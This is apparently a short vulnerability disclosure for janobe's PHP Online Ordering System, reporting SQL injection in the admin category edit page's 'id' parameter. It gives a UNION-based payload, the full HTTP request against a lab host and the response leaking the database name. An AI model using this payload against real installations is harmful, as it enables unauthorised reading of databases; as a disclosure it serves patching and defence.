

main

...

bug_report / vendors / janobe / online-ordering-system / SQLi-10.md



debug601 Create SQLi-10.md

History

1 contributor

29 lines (20 sloc) | 1.15 KB

...

Online Ordering System By janobe has SQL injection vulnerability

Author: k0xx

vendor: <https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html>

Vulnerability file: /ordering/admin/category/index.php?view=edit&id=

Vulnerability location: /ordering/admin/category/index.php?view=edit&id= //id is Injection point

[+]Payload: /ordering/admin/category/index.php?

view=edit&id=-3%27%20union%20select%201,database(),3--+ //id is Injection point

Current database name: multistoredb

```
GET /ordering/admin/category/index.php?view=edit&id=-3%27%20union%20select%201,datab
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1

Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99

Connection: close

GET /ordering/admin/category/index.php?view=edit&id=-3%27%20union%20select%201,database(),3--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close

<div class="col-md-8">
<input id="CATEGORYID" name="CATEGORYID" type="HIDDEN" value="1">
<input class="form-control input-sm" id="CATEGORY" name="CATEGORY" placeholder="Category" type="text" value="multistoredb">
</div>
</div>
</div>

<div class="form-group">
<div class="col-md-8">

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OT

Load URL Split URL Execute

http://192.168.1.19/ordering/admin/category/index.php?view=edit&id=-3' union select 1,database(),3--+

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replace

Janobe

Dashboard

Products

Stock-in

Orders

Inventory

Category

Manage Users

Category

Update Category

Category: multistoredb

Save